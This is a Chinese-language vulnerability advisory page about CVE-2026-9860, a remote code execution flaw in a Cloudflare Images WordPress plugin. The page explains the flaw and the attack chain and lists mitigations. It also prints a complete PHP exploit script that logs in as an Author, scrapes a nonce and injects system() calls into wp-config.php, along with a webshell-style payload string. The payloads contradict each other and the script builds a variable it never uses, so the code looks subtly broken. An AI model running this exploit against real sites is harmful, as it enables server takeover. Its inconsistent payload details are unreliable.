IPBUF安全漏洞报告
English
CVE-2026-9860 CVSS 8.8 高危

CVE-2026-9860:WordPress Cloudflare Images插件远程代码执行漏洞

披露日期: 2026-06-18

漏洞信息

漏洞编号
CVE-2026-9860
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Offload, AI & Optimize with Cloudflare Images(WordPress插件)

相关标签

CVE-2026-9860远程代码执行RCEWordPress插件漏洞cf-imagesCloudflare Images权限提升PHP代码注入AJAX漏洞

漏洞概述

CVE-2026-9860是WordPress插件"Offload, AI & Optimize with Cloudflare Images"(cf-images)中存在的一个高危远程代码执行(RCE)漏洞,影响所有1.10.2及以下版本。该漏洞的CVSS评分为8.8,属于高危级别。

该漏洞的核心问题在于插件的cf_images_do_setup AJAX处理器对权限的校验不足,仅要求调用者具备upload_files能力(即Author级别及以上用户),而非应有的manage_options管理员权限。该AJAX处理器负责将Cloudflare账户配置写入wp-config.php文件,在写入过程中使用了sanitize_text_field()函数对用户输入进行过滤,但该函数无法过滤单引号。同时,filter_input(INPUT_POST)绕过了WordPress的wp_magic_quotes()转义机制,使得攻击者可以通过在account-id或api-key参数中注入单引号,逃逸出PHP define()语句中的单引号字符串字面量,从而注入任意PHP代码。

此外,cf-images-nonce nonce值通过CFImages JavaScript对象暴露在wp-admin/upload.php页面,所有具备上传权限的用户(即Author及以上)均可获取该nonce,从而满足AJAX处理器的nonce验证检查,进一步降低了攻击门槛。攻击者只需拥有Author级别的WordPress账户,即可利用此漏洞在服务器上执行任意代码,完全控制受影响的WordPress网站。

技术细节

该漏洞的技术原理涉及多个层面的缺陷叠加:

1. **权限校验缺陷**:cf_images_do_setup AJAX处理器在处理用户请求时,仅检查调用者是否具备upload_files能力(Author+),而正确做法应该是要求manage_options能力(仅管理员)。这使得低权限用户也能调用该处理器。

2. **Nonce泄露**:执行写配置操作所需的cf-images-nonce nonce值通过CFImages JavaScript全局对象暴露在wp-admin/upload.php页面。由于所有Author级别及以上用户均可访问该页面,因此任何具备上传权限的用户都可以获取有效的nonce值。

3. **输入过滤绕过**:插件使用sanitize_text_field()对用户输入的account-id和api-key参数进行过滤,但该函数不会去除单引号字符。同时,代码使用filter_input(INPUT_POST)获取POST参数,绕过了WordPress核心的wp_magic_quotes()自动转义机制。

4. **PHP代码注入**:write_config()方法将用户输入直接拼接到PHP的define()语句中写入wp-config.php。由于define语句使用单引号包裹字符串值,攻击者可以通过在参数中注入单引号(如account-id=abc'];phpinfo();//),提前闭合字符串字面量,然后注入任意PHP代码。

利用方式:攻击者以Author身份登录WordPress后台,从wp-admin/upload.php页面获取cf-images-nonce值,然后构造包含恶意PHP代码的POST请求发送到admin-ajax.php,调用cf_images_do_setup动作,在account-id参数中注入如');system($_GET["cmd"]);//的payload,最终在wp-config.php中写入恶意PHP代码,实现远程代码执行。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者获取或注册一个具备Author级别及以上权限的WordPress账户(拥有upload_files能力),可以通过注册开放注册的网站或购买/窃取凭据实现。
STEP 2
步骤2:提取Nonce值
攻击者登录WordPress后台,访问wp-admin/upload.php页面,从页面源码中的CFImages JavaScript对象中提取cf-images-nonce值,该nonce用于通过AJAX处理器的CSRF验证。
STEP 3
步骤3:构造恶意Payload
攻击者构造包含PHP代码注入的account-id参数值,利用sanitize_text_field()不过滤单引号以及filter_input绕过wp_magic_quotes的缺陷,在单引号字符串中注入闭合符号和恶意PHP代码。
STEP 4
步骤4:发送AJAX请求
攻击者通过POST请求向wp-admin/admin-ajax.php发送action=cf_images_do_setup的AJAX请求,附带有效的nonce和恶意参数,触发write_config()方法将恶意代码写入wp-config.php。
STEP 5
步骤5:远程代码执行
恶意PHP代码被写入wp-config.php后,每次WordPress加载该配置文件时都会执行注入的代码,攻击者从而获得服务器端的任意代码执行能力,可执行系统命令、读写文件或植入WebShell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2026-9860 PoC - Cloudflare Images Plugin RCE * Targets: cf-images plugin <= 1.10.2 * Requires: Author-level WordPress account */ // Configuration $target_url = 'https://target-wordpress-site.com'; $username = 'author_user'; $password = 'author_password'; $command = 'id'; // Command to execute on the server // Step 1: Login to WordPress and obtain session cookies $login_url = $target_url . '/wp-login.php'; $cookie_jar = tempnam(sys_get_temp_dir(), 'wp_cookies_'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> 'wp-admin/', 'testcookie' => '1' ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); $login_response = curl_exec($ch); curl_close($ch); // Step 2: Access upload.php to extract the cf-images-nonce from CFImages JS object $upload_url = $target_url . '/wp-admin/upload.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $upload_url); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $upload_page = curl_exec($ch); curl_close($ch); // Extract nonce from CFImages JavaScript object if (preg_match('/CFImages\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-f0-9]+)"/i', $upload_page, $matches)) { $nonce = $matches[1]; echo "[+] Extracted nonce: $nonce\n"; } else { die("[-] Failed to extract cf-images-nonce. Ensure user has Author+ role.\n"); } // Step 3: Craft malicious payload to inject PHP code via account-id parameter // The payload breaks out of the single-quoted PHP string in define() $payload = sprintf("');%s;//", base64_encode("system('" . $command . "');")); // Simpler payload: close the string, inject a system call $malicious_account_id = "abc'];system(base64_decode('" . base64_encode($command) . "'));//"; // Step 4: Send the exploit request to admin-ajax.php $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'cf_images_do_setup', 'nonce' => $nonce, 'account-id' => $malicious_account_id, 'api-key' => 'dummy_api_key' ])); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[+] Exploit sent. HTTP Status: $http_code\n"; echo "[+] Response: $response\n"; echo "[+] Check wp-config.php for injected PHP code.\n"; // Cleanup unlink($cookie_jar); ?>

影响范围

cf-images(Offload, AI & Optimize with Cloudflare Images)<= 1.10.2

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过修改主题functions.php或使用代码片段插件,移除cf_images_do_setup AJAX action的注册,阻止该处理器被调用;2)在.htaccess或Nginx配置中添加规则,阻止对admin-ajax.php中action=cf_images_do_setup的POST请求;3)暂时禁用cf-images插件(注意可能影响网站图片功能);4)将所有Author级别账户临时降级为Contributor或Subscriber级别,限制其upload_files能力;5)检查并清理wp-config.php中可能被注入的恶意代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表